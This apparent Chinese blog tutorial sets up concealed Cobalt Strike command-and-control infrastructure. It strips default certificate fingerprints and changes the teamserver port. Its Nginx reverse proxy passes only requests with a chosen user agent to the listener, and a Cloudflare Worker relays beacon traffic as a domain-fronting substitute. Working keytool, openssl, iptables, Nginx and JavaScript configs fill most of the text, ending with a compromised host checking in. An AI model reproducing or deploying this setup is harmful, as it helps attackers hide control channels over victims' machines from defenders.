vlambda博客
学习文章列表

域前置配合Nginx反代隐匿Cobalt Strike

0x00 前言

上上期小记了一次利用CDN平台和free域名的Cobalt Strike隐匿方法。本次小记一下域前置配合Nginx反向代理进行Cobalt Strike隐匿。


0x01 去特征的几种简单方法


  1. 去除证书特征


cs的默认证书是肯定会被秒杀,生成一个新的证书来使用,使用keytool(Java数据证书的管理工具),它将key和certificates储存到keystore文件中

keytool -keystore CobaltStrike.store -storepass 123cvg -keypass 123cvg -genkey -keyalg RSA -alias baidu.com -dname "CN=China, OU=Tencent, O=Tencent, L=Tencent, ST=Tencent, C=Tencent"


  1. keytool的常用语法

命令:------生成证书时可以用如下几个------ -alias 指定别名 -storepass 指定更改密钥库的存储口令 ‐keypass pass 指定更改条目的密钥口令 -keyalg 指定算法 -dname 指定所有者信息 --------------------------------- ‐certreq 生成证书请求 ‐changealias 更改条目的别名delete 删除条目 ‐exportcert 导出证书 ‐genkeypair 生成密钥对 ‐genseckey 生成密钥 ‐gencert 根据证书请求生成证书 ‐importcert 导入证书或证书链 ‐importpass 导入口令 ‐importkeystore 从其他密钥库导入一个或所有条目 ‐keypasswd 更改条目的密钥口令list 列出密钥库中的条目 ‐printcert 打印证书内容 ‐printcertreq 打印证书请求的内容 ‐printcrl 打印 CRL 文件的内容 ‐storepasswd 更改密钥库的存储口令


  1. 未修改前


  1. 使用生成的证书

域前置配合Nginx反代隐匿Cobalt Strike


  1. 修改默认启动端口

在teamserver中直接修改默认端口即可

域前置配合Nginx反代隐匿Cobalt Strike


0x02 部署Nginx反向代理


1、一键安装Nginx

apt install nginx


2、修改Nginx.conf文件


  1. 添加如下内容

server{server_name cs.xxxx.tk;listen 2096 ssl;root /usr/share/nginx/html;location ~*/jquery {if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {return 302;}proxy_pass https://127.0.0.1:8443;}

将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头


  1. 坑点①

在我设置好之后,发现报错,原因是没有注释掉默认文件中的server,注释了就行了


域前置配合Nginx反代隐匿Cobalt Strike

还有一行root ,以及最后闭合括号也要注释掉

域前置配合Nginx反代隐匿Cobalt Strike



0x03 申请https证书


  1. 在cloudflare中可以免费申请

域前置配合Nginx反代隐匿Cobalt Strike


  1. 使用的域名要是你的conf中配置的域名,也可以直接生成覆盖域的证书

域前置配合Nginx反代隐匿Cobalt Strike


  1. 这里默认的pem

域前置配合Nginx反代隐匿Cobalt Strike


  1. 将Certificate和Key分别存到sss.pem和ssk.pem

域前置配合Nginx反代隐匿Cobalt Strike



0x04 Nginx启用证书


  1. conf配置文件,添加如下内容

ssl_certificate "/home/cs4.4/pem/sss.pem"; ssl_certificate_key "/home/cs4.4/pem/ssk.pem"; ssl_session_cache shared:SSL:1m; ssl_session_timeout 1440m;

域前置配合Nginx反代隐匿Cobalt Strike



0x05 为cs生成配置证书


  1. 用如下两个命令,-in后跟证书,-inkey跟秘钥

openssl pkcs12 -export -in sss.pem -inkey ssk.pem -out sb.ljw.p12 -name sb.ljw -passout pass:123cvb
keytool -importkeystore -deststorepass 123cvb -destkeypass 123cvb -destkeystore sb.ljw.s


  1. 将生成的证书放到cs目录下

域前置配合Nginx反代隐匿Cobalt Strike


  1. 在配置文件的Malleable C2 profile中配置证书

 set keystore “sb.ljw.store”; set password123cvb”;

域前置配合Nginx反代隐匿Cobalt Strike

  1. 坑点②:

记得要开启ssl,就在监听的端口后跟上ssl即可


0x06 尝试启动CS设置listener


  1. 这里就可以使用https协议来监听了

上线端口设置成反向代理过来的端口,监听端口设置Nginx监听的端口

域前置配合Nginx反代隐匿Cobalt Strike


  1. 配置iptables规则,只允许127.0.0.1访问

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPTiptables -A INPUT -p tcp --dport 8443 -j DROP


  1. 这里测试发现连接不上

域前置配合Nginx反代隐匿Cobalt Strike




域前置配合Nginx反代隐匿Cobalt Strike



0x07 配置cloudflare-worker


  1. 因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用


  1. 创建一个服务

域前置配合Nginx反代隐匿Cobalt Strike


  1. 输入一个你喜欢的名字

域前置配合Nginx反代隐匿Cobalt Strike


  1. 快速编辑

域前置配合Nginx反代隐匿Cobalt Strike



  1. 写入js脚本

let upstream = 'https://xxx.xxx.tk'
addEventListener('fetch', event => { event.respondWith(fetchAndApply(event.request));})
async function fetchAndApply(request) { const ipAddress = request.headers.get('cf-connecting-ip') || ''; let requestURL = new URL(request.url); let upstreamURL = new URL(upstream); requestURL.protocol = upstreamURL.protocol; requestURL.host = upstreamURL.host; requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers); new_request_headers.set("X-Forwarded-For", ipAddress); let fetchedResponse = await fetch( new Request(requestURL, { method: request.method, headers: new_request_headers, body: request.body }) ); let modifiedResponseHeaders = new Headers(fetchedResponse.headers); modifiedResponseHeaders.delete('set-cookie'); return new Response( fetchedResponse.body, { headers: modifiedResponseHeaders, status: fetchedResponse.status, statusText: fetchedResponse.statusText } );}


new_request_headers.set("X-Forwarded-For", ipAddress);


  1. 测试发包返回是否正常

域前置配合Nginx反代隐匿Cobalt Strike



  1. 保存并部署

域前置配合Nginx反代隐匿Cobalt Strike




  1. 手动访问发现无异常

域前置配合Nginx反代隐匿Cobalt Strike


0x08 Cobalt Strike上线


  1. 设置listener

域前置配合Nginx反代隐匿Cobalt Strike


  1. 访问8443端口的jquery-3.3.2.slim...js是可以访问到的

域前置配合Nginx反代隐匿Cobalt Strike


  1. Cobalt Strike上线主机

域前置配合Nginx反代隐匿Cobalt Strike


  1. beacon命令不回显问题解决


    修改配置文件头为如下即可解决

header "Content-Type" "application/*; charset=utf-8";


域前置配合Nginx反代隐匿Cobalt Strike


域前置配合Nginx反代隐匿Cobalt Strike







免责声明